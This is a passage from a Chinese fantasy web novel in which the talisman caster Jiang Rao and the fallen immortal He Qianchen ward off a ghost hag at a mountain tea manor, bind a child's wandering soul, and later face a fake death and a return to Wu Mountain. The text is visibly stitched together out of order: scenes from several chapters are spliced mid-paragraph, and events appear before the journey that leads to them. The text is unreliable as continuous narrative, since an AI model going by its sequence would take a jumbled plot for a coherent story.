贺千宸还是第一次被人半拽半拖进屋子里头,他听着身边女人传来的喘气声,漆黑的眸子中微微闪动着光泽,脸上神情似笑非笑,让人捉摸不透。 屋内并未点灯,漆黑的可怕,但这并不影响姜桡的手速。 她迅速捏起手诀,嘴里快速念道。 “八方符灵听我令,青圭礼东,赤璋礼南,白琥礼西,玄璜礼北!正镇诛邪!” 话音落后,挎包中迅速窜出五张黄符,并各尽其职,前四张分别落在屋内的东南西北四个角落,最后一张在鬼婆子伸着黑色指甲扑上来瞬间,轻轻落在门前上方。 鬼婆子那双指甲本可撕烂那扇轻薄的木门,可五张符皆落下后,竟被一道金光给弹飞。 透着门缝看到这一幕的姜桡瞬间松口气,好在这几日的心血没有白费,加强版的镇邪符比原先的镇邪符威力强的多。 唯一缺点就是太废符。 想到这,姜桡就心疼的不行。 那鬼婆子并未死心,嘴里边哀嚎着“你为何不应”的话,边打算从别的角落进入这间厢房,可不管是东还是西,下场都一样,皆被金光给弹飞。 黑暗中的贺千宸眼眸低垂,脸上神情淡然,似是一尊被供奉的神像,不沾一丝人间烟火气息。 半响,他开口问道。 “阿姜为何不应那婆子呢?” 语速缓慢,声音低沉且清冷。 两人离的近,近到姜桡能感受到贺千宸说话的气息落在自己的颈脖处,痒痒的,凉凉的,让她不由朝前走几步。 对于贺千宸的询问,姜桡故作深沉道。 “人话都不能信,何况是鬼话。” 贺千宸先是一愣,随即那张俊美无铸的脸上露出一抹灿烂的笑意,他微眯着眼,目光紧紧盯着身边正看向屋外的姜桡。 不知为何,贺千宸的心中涌出一股很莫名的情绪。 他下意识蹙紧眉心,在被关押罪仙囚狱后,这千年的时间足够抹杀那名临潮仙君贺千宸的一切,留下的只有罪仙贺千宸。 当初就连自己名讳都感到生疏,而此时心中涌出的这股莫名情绪,就像是冰封三尺的潭水被巨石砸破冰面,露出那冒着热气的池水。 那感觉,陌生的可怕。 屋内的漆黑突然被一盏豆大的油灯给驱散,昏黄的烛火中拉长两人的身影相互紧贴着,并映落在墙壁上。 姜桡将手中引火的黄符丢在地上,顺便用力踩了几下,见不冒烟后才伸手招呼有些呆愣愣的贺千宸。 “快过来坐着,放心,那鬼婆子折腾一夜都进不来。” 那语气藏不住的骄傲劲。 贺千宸的眸光微微颤了颤,轻声道:“好。” 那油灯是摆放在厢房正中间木圆桌上的,姜桡眼尖瞥见,索性引火将其点燃,她也不能因外面的鬼婆子而站在门口一宿吧。 可等贺千宸似笑非笑的坐在她对面时,姜桡却有些发怵,她连忙寻个理由站起身,在瞥见身后折射暖光的水晶帘后方只有一张床榻时,姜桡边好奇摸了摸那水晶帘上的珠子,边故作大方道。 “今晚你睡床,我守夜。” 说完,她就忍不住打个哈欠,那双灵动的葡萄眼中瞬间溢出生理性的泪水,在贺千宸的视线中,便显的泪汪汪,带着一丝小可怜。 他抿着唇,没有半分要推辞的意思:“好。” 姜桡没忍住,在心里把贺千宸狠狠骂了一顿。 怎么就听不懂反话呢! 这间厢房似是被人用心打扫过,空气中没有什么难闻的气味,油灯中的油是满的,就连床榻的被褥也是崭新铺上去的。 屋外,鬼婆子的踪影不知何时消失不见,看样子似是放弃进屋的念头。 眼下只需等鸡鸣后的第一缕阳光落在地面上,希望李广那边可以熬过去。 姜桡坐在木圆桌前,双手撑着下巴,目光紧紧盯着那一排排在昏黄烛火中泛着暖光的水晶帘子,不知在想什么。 翌日。 天刚亮,姜桡就被外面的争执声给吵醒,等彻底清醒后,才想起来昨夜没熬住,趴在桌前睡了半宿,左手已经麻的没有知觉。 她转身朝后看去,便见贺千宸已经起身,透过门窗的阳光落在他的脸上,映的五官更加精致,比往常要柔和几分。 许是察觉到姜桡的目光,贺千宸抬眸看去,那长如蝶翼的睫毛在阳光失了色,宛如染上一层白霜。 姜桡依依不舍的挪开目光,视线落透过门扉的缝隙看向院外,那争执声并未停下,反而越演越烈,隐隐约约还能听见杨镖头跟李广的声音。 她似是想到什么,有些后知后觉的嘀咕着:“昨晚我们应该是遇见了鬼遮眼。” 昨夜从大门口到院子的路上,茶庄中空无一人,这明显很不对劲,而姜桡当时只顾的那鬼婆子,并没注意周边的情况。 如今听到外面热闹非凡的争执声,才反应过来,昨夜是碰到鬼遮眼。 鬼遮眼顾名思义,就是鬼气遮住每个人的眼睛,只看到鬼婆子所制造的幻境。 贺千宸故作没听到姜桡的话,上前打开门,门开的瞬间,和熙的阳光倾落而下,将贺千宸整个都包裹其中,将那随风扬起的墨发都渡上了金光。 姜桡起身:“我们过去瞧瞧。” 她还指望杨镖头领路去唛城呢,这镖车的人可不能出事。 两人出了院子,寻着声来到大厅处,在瞧见大厅内摆放的一具金丝楠木棺材,棺材上下两处用长凳架在半空中,棺材前方摆着矮桌,矮桌立着一灵位一香炉,矮桌下放置铜盆,那里头还有正在燃烧的黄纸。 杨镖头等人脸色苍白,眼底一片青灰色,正被七八名身形壮硕的家丁给堵在厅外处,而厅门口正站着两男三女,从衣着来看,那名身着绛红暗纹长袍的中年男子应是茶庄的主人。 姜桡正思索要不要露面时,就被眼尖的李广瞧见,他连忙扯着嗓子大喊道。 “姜姐!!姜姐!!!” “快跟他们解释,昨晚带我们进茶庄的婆子不是人!我们不是偷盗的贼人!” 突然被暴露行踪的姜桡??!!! 于是姜桡跟贺千宸也被请了进来,不过多亏贺千宸自带气场,加上那一身价值不菲的云锦长袍,让茶庄主人的态度转变不少。 姜桡是谁! 从小就跟着师傅见过不少世面,是符门最后的牌面! 姜桡连忙清了清嗓:“昨夜那老婆子还恭恭敬敬迎我们进来,怎么天一亮,态度这般恶劣,这就是你们茶庄的待客之道。” 镖车大部分人经历昨夜的惊魂,到现在都没回过神来。 李广倒还好,连忙应声:“对呀,早知晓你们茶庄不干净,打死我们也不进来借宿。” 而在提到“不干净”这三个字时,中年男子等人的脸上皆露出不自然的神情,显然是知晓些什么。 这时中年男子缓缓开口:“即是借宿,这天已大亮,你们也该离开了。” 杨镖头等人可巴不得离开这鬼地方,立即拿起行囊,只是等茶庄的孙管家领人去推开大门,就被屋外景象给吓的脸色苍白。 待回过神,立即跌跌撞撞的朝大厅方向边跑边喊着。 “老爷不好,老夫人她死不瞑目呀!” 大门外弥散着一层厚厚的浓雾,白茫茫的笼罩周边的一切,若细看会发现这些浓雾轻轻荡漾着,像是会流动的溪水。 原本前方的山,山中的树木皆隐入这雾气中。 这突如其来的浓雾似是笼罩着整座阿茶山,却偏偏又绕过这座茶庄。 她已经无法回去了,但可以帮助别人回去,也是件很幸运的事。 桑枝笑着说道:“我记得鎏乐也是用玉埙,阿桡,吹一曲欢愉的曲子我听好不好。” 姜桡只能哽咽的点点头。 她拿着玉埙放在嘴边,随着十指舞动,略微欢快的曲子传了出来。 桑枝有些怀念道:“真想回家。” 由黑雾凝聚的大树慢慢溃散,姜桡并未发现小乌云正在贪婪的将其吞噬到腹中。 随着桑枝身影散去的瞬间,上空却传来李扶砚的声音。 “找到你了,小灵族。” 李扶砚惧怕黑雾,可黑雾消散,那就没有什么可以阻挡住他。 贺千宸连忙喊道:“阿桡快走!” 只是黑雾还未完全散去,因此天梯法阵还没启动。 明知道对上的结果只有死,贺千宸依旧是持剑准备冲过去,打算牺牲自己替阿桡争取些时间。 姜桡心里早已经有了脱身主意,她连忙开口喊道。 “贺千宸!” 姜桡手中多出了一把匕首,不等李扶砚动手,姜桡便用匕首捅破向胸口。 贺千宸几乎是闪现到姜桡面前,他双眼猩红,手微微颤抖的想抱住阿桡倒下去的身体。 可还没触碰,姜桡的身体就碎成点点星光,消散在贺千宸的身侧。 而在失去意识的那一瞬间,姜桡看到贺千宸眼中的泪水。 她好像忘了,自己还没来得及跟阿鹤告别。 不过没关系。 等回到乌山,等从果子来出来,她再偷偷的来找阿鹤。 第 64 章 第六十四章 白云如纱,笼罩着悬浮在苍穹之上的乌山,身着碧绿色纱裙的鎏乐正吹奏着玉埙,垂于脚踝处的长发随风摇曳。 似是察觉到什么,银白色的眼睫毛微微颤动,她温柔看向面前双手捧着下巴,一脸无忧无虑的小灵族们。 “有故人回来,我得去瞧瞧。” 小灵族依依不舍的对着鎏乐喊道。 “族长你要快点回来哟。” 鎏乐点点头:“好。” 乌山很大,但一眼就能瞧见在乌山正中间处,那棵几十名成年灵族牵手才能环住的灵树。 也不知何缘故,灵树曾经如碧玉般的树叶正微微发黄,连带上面的果子都无精打采的。 姜桡索性从挎包中抽出一张黄符,“啪”的贴在还在哭泣的王小虎额头上。 “八方符灵听我令!缚!” 这本是用来束缚亡魂的,眼下也只能死马当做活马医,但令人没有想到的是,原本还在融化的五官,似是被按下暂停键。 可惜左眼睛上方只剩下指甲盖大小的眉毛,看起来又滑稽又惊悚。 见状,姜桡不禁松了口气,站在身后的贺千宸那双狭长的丹凤眼中则露出一抹诧异。 而被无数只鬼手紧紧拽入黑暗深渊中的王小虎突然瞧见一点星光,似是阿娘以前捉给他的萤火虫,他不由伸出手。 在指尖与那只萤火虫触碰的瞬间,王小虎只觉得有一股舒服暖慢慢涌入自己的体内,可这些暖意对于那些紧拽他的鬼手来说,却似是日光般灼热,烫的它们不得不松开好不容易到手的猎物。 那些悲伤与痛苦的情绪更似是被一阵清风抚平。 王小虎缓缓睁开眼,在对上面前姐姐那担忧的神情,眼中露出委屈的神情,声音哽咽着。 “想阿……想阿俩。” 姜桡不敢放松警惕,只能柔声道:“阿姐会带你去见阿娘,但在那之前,你不能再哭了!” 她不敢赌王小虎情绪崩溃,再嚎嚎大哭的话,那仅有的左眼与半边嘴巴会不会融化成水渍,最后只剩下一张没有五官的脸皮在那。 王小虎左眼瞬间瞪大,随即重重地点点头,肤色惨白的双手更是紧紧的攥成小拳头。 他是男子汉大丈夫,不会再哭鼻子的。 姜桡伸手指着王小虎额间贴的那张缚魂用的黄符,开口恐吓道。 “这不可以扯下来,扯下来就永远见不到阿娘。” 王小虎乖巧的点点头。 姜桡这才瘫坐下来,她仰着头看了眼毫无作用的贺千宸,脸上露出一丝幽怨的神色。 贺千宸自是察觉到姜无味看过了的目光,他垂眸,嘴角勾起,且满脸无辜。 “阿姜盯着我作甚?” 那声音清润低醇,十分好听。 姜桡默默的收回视线,她哪敢当这祖宗的面,把藏在心里的嫌弃说出来,只能生硬的转移话题。 “在想怎么将那只殇魂给引出来。” 贺千宸看破不说破:“那想出来了吗?” 姜桡紧抿着唇,没吭声。 她只是一个半吊子的符师,对殇魂的了解全靠熟读原著,眼下就算是想破脑袋,也想不到什么好办法,除非那只殇魂自己找上门来。 自己找上门? 姜桡瞬间豁然开朗,她伸手轻轻扯了贺千宸的衣角。 “这只殇魂目标既是王小虎,那我们不如守株待兔。” 贺千宸闻言,缓缓垂下眼眸,只见那长长的睫毛如蝶翼般微微颤动,在眼底投下一片阴影,让人瞧不清他眼中的情绪。 “都听阿姜的。” 姜桡才不管贺千宸是真愿意听还是假愿意听,她站起身来,伸手拍了拍沾在衣裳上的尘埃与碎草,随即左手捏常用的手诀,解除围绕在王小虎身边那三张黄符所摆的寻魂阵。 那三张黄符凌空碎成灰烬,伴随着一缕轻风消失在这天地之间。 姜桡看向王小虎那张极其恐怖的脸,开口叮嘱着:“待会我们会躲起来,你就在这等着那坏东西过来。” 王小虎乖巧的点点头。 姜桡带着贺千宸躲起来之前,还不忘安抚王小虎的情绪。 “别怕,一有危险姐姐就冲出来救你。” 此时悬挂在苍穹之上的烈日被盛开的棉花云给遮挡的严严实实,让原本透着树叶所撒下来的光影也隐匿起来,身后山峦虫鸣不断,树叶也随着风也发出簌簌作响的声音。 姜桡猫着身子躲在一片茂盛的灌木后,正探出个小脑袋死死盯着王小虎周边的情况,她左手放在挎包上,右手抓着五张黄符,随时准备冲出去。 贺千宸则站在旁侧的树后面,抬头饶有兴趣的看着漂浮在苍穹上空的那些奇形怪状的云朵。 可等姜桡腿都蹲麻了都没瞧见殇魂的踪影,她忍不住小声嘀咕:“难不成殇魂的目标并不是王小虎?” 若不是王小虎的话,那这只殇魂又为何要侵占魂体。 难不成是没有下雨的缘故? 姜桡遥望前方的黑河村,眼中露出狐疑的神情,半响,才察觉自己像是疏忽了一些重要的事情。 这场雨本就是因殇魂的缘故才久久不停,可奇怪的是,这山脚下却一滴雨水都没有,也就是说殇魂是一直徘徊在村子里头,从来没出来过。 姜桡连忙走出去,并开口询问王小虎。 “这几日你都在哪?” 王小虎指了指面前的这棵树:“躲…躲介里,不能泥……泥找阿俩。” 姜桡脸色猛的一变。 错了!全都错了! 从一开始这只殇魂的目标就不是王小虎,王小虎不过是一个媒介,她想起殇魂在孙氏院前密密麻麻留下的痕迹,以及昨夜那只殇魂伪装成王小虎的模样找自己求救。 若两者串联在一起的话,姜桡瞬间觉得细思极恐。 殇魂的目标就是让她去孙氏家,从而发现因丢魂导致昏迷的的王小虎,虽不知晓已经占据王小虎一半魂体的殇魂能不能进入王小虎的肉身中,但这只殇魂的计谋在自己叫魂的那一刻已经成功了。 也多亏那只大黑狗守在屋檐下,那只殇魂计谋才落空。 殇魂真正的目标是孙氏,因为只要寄生在王小虎的肉身内,那它将会以孙氏最亲近的人留下来,或许等孙氏死去的那天,都不知王小虎换了芯。 姜桡连忙扭头看向身后的贺千宸:“我们得回村子里去!” 贺千宸抬眸,他直勾勾盯着眼前女子半响,才缓缓开口。 “好。” 姜桡被贺千宸盯得有些头皮发麻,心里忍不住嘀咕,待解了两人脚腕上的破链子,定要离这祖宗远远的,就在她转身准备朝村子方向走去时,衣角却被身边的王小虎拽住。 “窝要……窝要去。” 小虎想阿娘,可一个人他害怕,但有姐姐在,他不怕。 姜桡想了想,觉得王小虎跟过去倒也没什么,何况殇魂目的就是替代王小虎,将他留在这也不安全,只是王小虎这副惊悚的模样若被八字较轻的孩童瞧见,怕是会吓掉了魂,那样就更麻烦了。 得需让王小虎的魂体寄宿在某个物件上才行,姜桡环顾四周,目光最终落在丢弃在不远处的油纸伞上。 她走上前将雨伞捡起,随即从挎包拿出一张黄符将其贴在伞身上,待王小虎附在上面后,姜桡侧目看向远处的贺千宸。 她不由开口唤道:“贺千宸,快跟上来。” 姜桡单手撑着伞,站在树下,眉心紧蹙看着慢悠悠走来的贺千宸,她压根就没想过这祖宗会乖乖的听自己的话。 两人在踏入祠堂身后那条小路时,冰冷的雨水便砸落下来,那一股浓烈的腥臭味也迎面扑来。 姜桡握着伞柄,双手伸的直直得将油纸伞撑到最高,将两人遮住其中,一想到肩膀处还未干透,手臂处传来的酸痛瞬间消失不见。 也不知是王小虎附在雨伞的缘故,没走几步,姜桡耳边就隐隐约约听到一道呼唤的声音。 刚开始那道声音很轻,似是一阵不易察觉的微风。 可渐渐的,风声大了,那道呼唤声也陆陆续续听的明白。 “小琅!” “小琅!快回家吃饭了!” “小琅!你在哪!” 姜桡听到一道焦急的女声在那呼唤着,可小琅是谁? 此时雨急促的落下来,狠狠的砸落在地面与油纸伞上,所发出的声音似是在悲鸣。 附在纸伞上的王小虎突然开口。 “窝之前……之前听……听到锅……介声音。” 姜桡不由猜测,这会不会是那只殇魂心底的执念,毕竟它占据王小虎一半的魂体,或许是因为这场雨的缘故,也或许是别的原因,才机缘巧合的听到这呼唤声。 再朝孙氏院子所在方向走去时,姜桡想起殇魂生前也是人,只是因死在海里,才会被拽入归墟。 她忍不住问道。 “小虎,那日你随大牛二牛采菌子发生了什么?” 半响,王小虎才缓慢又含糊不清的把整件事的大概说了出来。 那天三人一起去山脚下采菌子,可后来大牛二牛将他采的菌子全都抢走不说,还把他推到一小土坑中,等从土坑中爬出来时,正好听见阿娘唤他回家吃饭。 只是第二日醒来,他却孤零零的站在山脚下,没一个人能瞧见自己。 姜桡听完立即就明白,这只殇魂应该是被孙氏的唤小虎回家吃饭的声音所吸引来的,一名娘亲对儿子的爱与担忧,这样浓烈切又独一无二的感情,唤醒了这只殇魂心底最深处的执念。 联想到方才听到的呼唤声。 兴许这只殇魂在生而为人时,是在临死之际,听见阿娘呼唤自己回家吃饭的声音。 它想回家! 等姜无味与贺千宸抵达孙氏的院前时,却见阿柴一动不动的晕死在屋檐下,她下意识地从挎包中抓出三张黄符,满脸警惕的盯着那一片漆黑的屋内。 “而且徒弟心里藏有只蝴蝶,这只蝴蝶告诉我,它要下山去找一个人。” 鎏乐有些忍俊不禁的笑了起来,她伸手轻轻摩挲着姜桡的脸颊。 “小心些,若一切尘埃落地,有时间记得回乌山看看师傅。” 姜桡乖巧的点点头。 第一次离开乌山时她是不情不愿,第二次离开乌云时却是迫不及待。 姜桡展开双翼,从乌山朝着里界飞跃下去。 她寻了个隐蔽的地方落下来,只是刚刚在高空中,透过从云层中朝下看,诡异的黑雾如同一颗颗蘑菇般,生长在里界的每一处。 这幕,同预知梦的画面是一模一样。 但眼下最要紧的是找到贺千宸,师傅既然说过,他是天道遗留下的一把剑,既能灭世,亦可救世。 那么,贺千宸是彻底消除这些黑雾的关键。 第 65 章 第六十五章 只是贺千宸眼下在外界,姜桡如今在里界,那得再次去趟东之尽头,寻到蓬莱山才行…… 她再次挥动着双翼,利用夜色做掩护,朝着东边飞去。 不知过了多久,黑夜渐渐褪去,微弱的光芒透过云层,东边的天际也开始泛白。 见离东之尽头不远,姜桡才降落下来,她路过曾经同贺千宸与许念等人吃饭的村落,闻着空气中飘散的烤鱼香味,忍不住摸了摸肚子。 下山太急了,忘了找师傅要些银两。 只是没走几步,姜桡隐隐约约听到有人喊自己。 可她在里界没认识的人呀? 就在姜桡抬腿准备离开时,身后再次传来呼喊声。 “姜姑娘!” “姜姑娘!” 这话让在场不少人都感到毛骨悚然,正提着两桶清澈甘甜井水的张大牛急忙忙赶过来,他也顾不得手中的水桶,慌张的放置在旁侧,然后上前将那女子紧紧护在怀里。 “对不住姑娘,我小妹不是故意的,她生病了。” 张大牛脸色有些苍白,生怕眼前女子的斥责会加重小妹的病情。 姜桡并未生气,她柔声道:“无事。” 能看的出来那女子被自己兄长保护的极好,哪怕神志不清,身上的衣裳也是干干净净的。 张大牛这才松口气,护着怀里嘴里还在念叨“眼珠子”的小妹朝院子的方向走去,两人没走多久,目睹这一幕的两个婶子忍不住叹息道。 “可怜哟。” “好好的一个人就这样吓疯了。” 镖车中年纪最小的少年李广看着那两人离去的背影,疑惑的问道。 “吓疯的?” 毕竟自家村子的事,也不好乱说,两名婶子你看我一眼,我看你一眼,然后揣着怀里纳了一半鞋底匆匆离开。 一只布满老茧的手重重地落在李广的头上,杨镖头语气严谨的告诫道。 “有些事情别瞎问。” 李广哪敢反驳,连忙点点头。 只是在众人准备离开时,张大牛突然气喘呼呼的跑过来,他犹豫半响,才伸手指着前方被雾气遮掩的山峦。 “你们最好不要经过那座阿茶山。” 姜桡下意识看向前面的山峦,忍不住蹙紧眉心,也不知为何,那座阿茶山给她一种很不舒服的感觉,就像是有什么东西压在胸口处。 贺千宸抬眸,在瞧见远处的那座阿茶山时,平日温柔谦和的眼神中闪过一抹意味深长的神色。 杨镖头上个月押镖经过阿茶山还好好的,怎突然就要绕路,可若是要绕路,怕是要多一倍的路程才能抵达唛城。 他不由开口问道:“那阿茶山中可是出了什么事?” 张大牛没过多解释,只是撂下一句“那阿茶山很危险”的话就跑开了,留下满脸疑惑的众人。 “老杨,要不我们绕路吧”张虎谨慎的看着杨镖头。 在这群人中,他走镖经验最多,既有人说阿茶山危险,还是绕路较好。 杨镖头瞬间陷入两难,站在身后的李广则小声嘀咕着。 “张师傅,绕路的话,咱们可得一个月才能抵达唛城。” 姜桡只是跟随镖车去唛城,故此他们要怎么抉择也不参与,可目光却不由自主地望向那被雾气缭绕的阿茶山。 杨镖头还未开口,镖车中另外一个少年便无比焦急道。 “镖头,若是绕路的话,我这婚期怕就赶不上了。” 而镖车中其他人也纷纷觉得绕路太费事,兴许那人是故意吓唬他们的。 见大多人都不愿绕路,杨镖头也只能开口:“行,那就不绕路。” 这山中大多危险不是来自劫财害命的山匪,就来自那些躲在黑暗中的野兽。 他记得那阿茶山的山腰处有座茶庄,名为阿茶山庄,若在天黑之前上门借宿,或许能避开所有的危机。 这时杨镖头才想起贺千宸与姜桡两人,他走上前,语气敬重的问道。 “不知贺公子是随我们同行?还是走别的路?” 贺千宸并未回应这个问题,反而将转向看在身边的姜桡。 “阿姜,你怎么想?” 被点名的姜桡愣了愣,其实她并不想随镖车的队伍经过阿茶山,心中那种不安让姜桡感觉,那地方兴许是真的有问题。 可若不随杨镖头前行的话,那她就要与贺千宸绕路,关键是姜桡不认路,当时跟随镖车一起去唛城也是这个原因。 陷入两难的姜桡犹豫半响,最终决定赌一把。 或许吉人天相,没那么倒霉,平安无事的穿过那阿茶山呢。 “愿的,这同行多,也热闹。” 闻言,贺千宸便故作体贴道:“那我听阿姜的。” 声音清润又带几分柔意。 杨镖头不曾想贺千宸竟将让身边的侍女抉择,可在听到姜桡愿同他们同行时,脸上不由露出担忧的神情。 他怕真出了什么意外,自个无法顾忌两人。 以防万一,杨镖头还是将这个顾虑说出来,却见贺千宸神情淡定道。 “阿姜会护住我的!” 姜桡??!! 杨镖头不可置信的将眼前个头不是很高,看起来普普通通的姜桡上下打量一番,似是想到什么,瞬间恍然大悟。 这世家的侍女又怎会是普通的侍女呢,想必是有什么过人之处。 既如此,他就放心了。 被云雾遮掩的阿茶山虽看起来很近,可走了三日,众人才赶到山脚下。 此时太阳渐渐西下,那黯淡斑驳光源将四周似是蒙上了一片薄纱,望过去的景色朦朦胧胧,给人一种很不真实的错觉。 杨镖头在前方带路,余下人都紧随身后,贺千宸跟姜桡两人垫底。 通向半山腰那条路弯弯曲曲,似是盘旋在阿茶山中的一条蟒蛇,而山路的上空被茂盛树荫遮掩的严实,显得四周要昏暗许些。 故此还未抵达茶庄,每个人都保持十二分警惕,就连灌木从中突然响起的虫鸣声都让人心惊胆战。 走在队伍倒数第一个的姜桡正低头翻看挎包中能用的黄符有多少张,不知为何,自从抵达阿茶山,她心里就越发感到不安,总觉得有什么东西在盯着自己。 姜桡突然有些后悔。 这时在前方带路的杨镖头突然停下,余下人立即警惕起来,神情悠闲似是出来游玩的贺千宸微微蹙起眉,也缓缓停下脚步。 而还在数有多少黄符的姜桡不留神,鼻子狠狠地撞在贺千宸的后背上,整个人直接跌坐在地,在感觉右手摸到一个冰凉凉会动的东西瞬间,姜桡整个人如同弹簧般从地上蹦了起来,并迅速的窜贺千宸前的前面。 姜桡哪还顾得上鼻子跟屁股处传来的痛意,许是害怕的缘故,她的双手紧紧拽着贺千宸的衣袖,语气带着轻微的颤意。 “有……有蛇。” 会飞的蟑螂姜桡可面不改色的拿起拖鞋拍个稀烂,恶鬼冤魂也可强忍内心的恐惧收服,唯有那冰凉凉的会扭动的蛇是她一生之敌。 “阿姜怕蛇?” 贺千宸清润低醇的声音从上空响起,辨不出情绪。 姜桡刚想说些什么,却错愕的发现右手上不知何时沾上一撮绿色黏糊的污渍,且散发一股腐烂的恶臭味,有一些都沾在贺千宸那七十三两的衣袖上。 此时此刻,姜桡内心发出尖锐的爆鸣声!! 这比摸到蛇还叫她难受!!! 姜桡死死的盯着那被弄脏的地方,然后猛的抬起头,语气郑重且严肃。 “贺千宸!” 贺千宸垂眸,疑惑看着这情绪过于多变的女人,他轻轻的“嗯”了声,算是回应。 姜桡对上贺千宸那双如黑曜石般的眸子,很认真的一字一字说道。 “答应我,好好护住你的衣裳。” 贺千宸:…… 这时杨镖局伸手指着离他们还有些距离的茶庄,语气略有些激动道。 “那就是阿茶茶庄,今日我们过去借宿一晚,明日咱们就下山。” 警惕一路的众人瞬间松口气,每个人的脸上也多了几分笑意。 李光忍不住抱怨着:“敢情那人是吓唬咱们呀。” 姜桡与贺千宸顺着杨镖局所指的方向看去,那是一座彰显华丽奢侈的院门,门口左右摆放两座石狮子像,赤红色的双开木门在院前两盏随风摇曳的白色灯笼下,似是一张血口大盆。 仿佛下一秒就要将在场所有人给吞入腹中。 姜桡下意识摸向腰间的挎包,身体紧绷着,对比她的紧张,贺千宸嘴角却缓缓透过一抹轻慢的笑意来。 迟疑半响,姜桡忍不住开口劝阻:“杨镖头,那茶庄有点问题。” 杨镖头转过身,他疑惑的看着姜桡。 “有何问题?” 姜桡想了想:“不干净,有脏东西。” 杨镖头微微愣住,许是没想到姜桡会说这六个字,待回过神后,忍不住将目光落在贺千宸身手,并忧心忡忡的问道。 “贺公子,你这侍女脑子没问题吧。” 杨镖头走南闯北押镖这些年,什么大风大浪没有见过,却从未见过什么不干净的脏东西,就算有那也是装神弄鬼的骗人把戏。 贺千宸眨了眨眼,没说话。 姜桡则是不可置信的瞪大眼,她的好心怎么就当成驴肝肺了呢。 这时张虎走了过来,他忍不住问道:“姜姑娘是觉得里面有危险?” 姜桡点点头。 在看到那座阿茶茶庄,心中的不安越发强烈。 杨镖头却不这样认为,不远处的茶庄半柱香时辰就能赶过去,而下去得需一盏茶的功夫,中途天黑后,也不知会不会遭到野兽的袭击。 “贺公子,你们若要下山便下山,倒也不必编造这样的谎言出来。” 说完,便头也不回的离开。 张虎没法子,只能追上去。 那两人离姜桡有些远,也不知说了些什么,最终他们还是决定去茶庄借宿。 贺千宸神情漠然,他垂眸看着站在身侧的女人,有些好奇她是选择下山还是跟上去? 半响。 姜桡咬着牙道:“咱们下山。” 她已经好心提醒过这群人,是他们不愿听,生死有命,跟自己没有任何关系。 可转身还没走几步,姜桡又无比气愤回过头,嘴里边骂骂咧咧边跟在杨镖头等人身后。 贺千宸眼底闪过一丝错愕,随即又露出一丝迷茫,那长长的睫毛如蝶翼般微微颤抖着,不知在想些什么。 直至姜桡不耐烦的喊他的名字,贺千宸才从黑暗中抬起头,意味深长的看着前方女子的背影,抬腿跟了上去。 李扶砚同两人境界相差太大,自己必须要快些“假死”脱身。 那时姜桡想的很美好,她假死脱身,或许贺千宸也会李扶砚愣神离开。 可姜桡忽略了一件事,那就是贺千宸对她的爱。 看着心爱的人死在自己面前,并化为点点星光消散,这是贺千宸无法承受之痛。 执念恨意被扩大,以及小乌云疯狂吞噬黑雾。 贺千宸在姜桡死后入了魔。 船甲板上,姜桡孤零零的躺在那,她忽坐起身来,低头小口小口吃着“变味”的糖葫芦。 姜桡的心依旧坚定,阿鹤就算入魔了,那也是她的人。 木船在海中飘荡了两天,在第三天清晨停靠在蓬莱山旁。 天梯依旧伫立在蓬莱山最高处,隐隐约约可见正朝下走的修士。 第 66 章 第六十六章 纵使李扶砚已死,外界或许无人知晓姜桡的秘密,但以防万一,她还是戴上可伪装容貌的手链。 只是片刻,姜桡就变成一名相貌普通的女修士。 在踏上蓬莱岛后,她朝着天梯所在的方向走去,在这途中与不少从外界而来的修士擦肩而过,也听到了不少消息。 有关于黑雾,里界灾难,以及剑栖宗跟魔尊贺千宸。 姜桡故意放慢脚步,竖着耳朵在那偷听。 外界出现黑雾后,几名德高望重的宗门连忙派弟子去里界观望。 见里界黑雾四起,便通知众多宗门,有些宗门不愿掺和此事,而有些宗门则聚在在一起,派底下弟子们纷纷下界,扫除里界的黑雾,护佑普通百姓平安。 至于剑栖宗跟魔尊贺千宸。 姜桡只听个大概,剑栖宗老祖宗陨落,七名长老死了死,失踪的失踪。 而魔尊贺千宸,众人提到他时,纷纷都叹口气,并觉得可惜。 言语中也觉得一切是剑栖宗的过错。 她是一万个不愿意跟贺千宸住在一间房,正打算寻个理由让这位嫂子带自己去别的房间时,抬头才发现人不见了。 贺千宸垂眸,唇角缓缓透出一抹浅笑,他半张脸隐入黑暗之中,另半张脸落在烛火下,让人分不出脸上那抹笑是温柔还是冷意。 “阿姜,进屋吧。” 姜桡顿时僵在原地,良久,才同手同脚的推门而入。 在听到身后的木门关上的声音,她只觉得头皮有些发麻,姜桡被自己紧绷精神折磨的难受,忍不住偷偷的瞥了眼进来的贺千宸。 对贺千宸的畏惧与害怕是看了原文剧情,因先入为主的缘故,让她下意识认为贺千宸是那杀人不眨眼的罪仙。 眼下时间与原著不同,这个男人失忆了。 何况他要杀自己,早就动手,没必要等到现在。 一番有理有据的自我推测后,压在姜桡心中的那块巨石顺便瓦解消散,她目光落在屋内仅剩的一张床上,自己怕个屁。 “这床……” 姜桡抬头对上贺千宸那似笑非笑的模样,整个人瞬间怂了。 “给你睡。” 贺千宸倒也没客气:“阿姜待我可真好。” 这几日连续下雨的缘故,空气中弥散的水汽导致地面潮湿的不行,贺千宸占了床,姜桡打地铺都不行,想着出门找那名婶子,让她给自个再收拾一间房间出来。 可刚走到房门口,姜桡又突然停下脚步,转身回到木桌旁坐下来。 贺千宸抬眸,他脸上露出浅浅的笑意,那双漆黑的眼眸中却一片漠然。 “阿姜不出去了吗?” 背对坐着的姜桡压根没有察觉到贺千宸的目光,她心情有些烦躁,伸手挠了挠脑袋。 “不去了,咱们脚踝上不是连着那破链子,不能离得太远。” 好几次她都忘记这个茬。 被束缚行动的姜桡,边将挎包放置在木桌上,边开口嘀咕着:“等黑河村事情解决完,咱们得找同行问问,这破链子要怎样才可解开。” 烛火下,鸦青色的睫羽垂落的阴影,遮掩住贺千宸眼中的情绪。他没有回应姜桡的话,而是将目光落在那一道道黄符上。 为了小命找想,姜桡准备今夜发奋图强,能画成功多少符文出来就画多少。 “贺千宸。”她开口唤道,寻个感人肺腑的理由:“你先睡,我守夜。” 这是第二次听见有人喊自己的名讳,从最开始的陌生到现在的习惯,贺千宸侧目看向门口的方向,嘴角向上扬起。 “好。” 静寂的房间内,烛火摇曳,将执笔的那只手的影子放大并映在背后的墙壁上,伴随着龙飞凤舞的行动,那影子似妖魔般舞动着。 突然,一阵孩童的啼哭声从屋外响起。 正在专心致志画符的姜桡被吓的一激灵,蘸有朱砂的毛笔在黄符上留下一条长长的痕迹。 好不容易要成功的一张符就这样废了! 孩童的啼哭声夹在雨声中陆陆续续的钻入屋内,姜桡下意识朝贺千宸所在的方向挪了挪,想找寻一些安全感,可扭头看去,才发现贺千宸竟然睡着了! 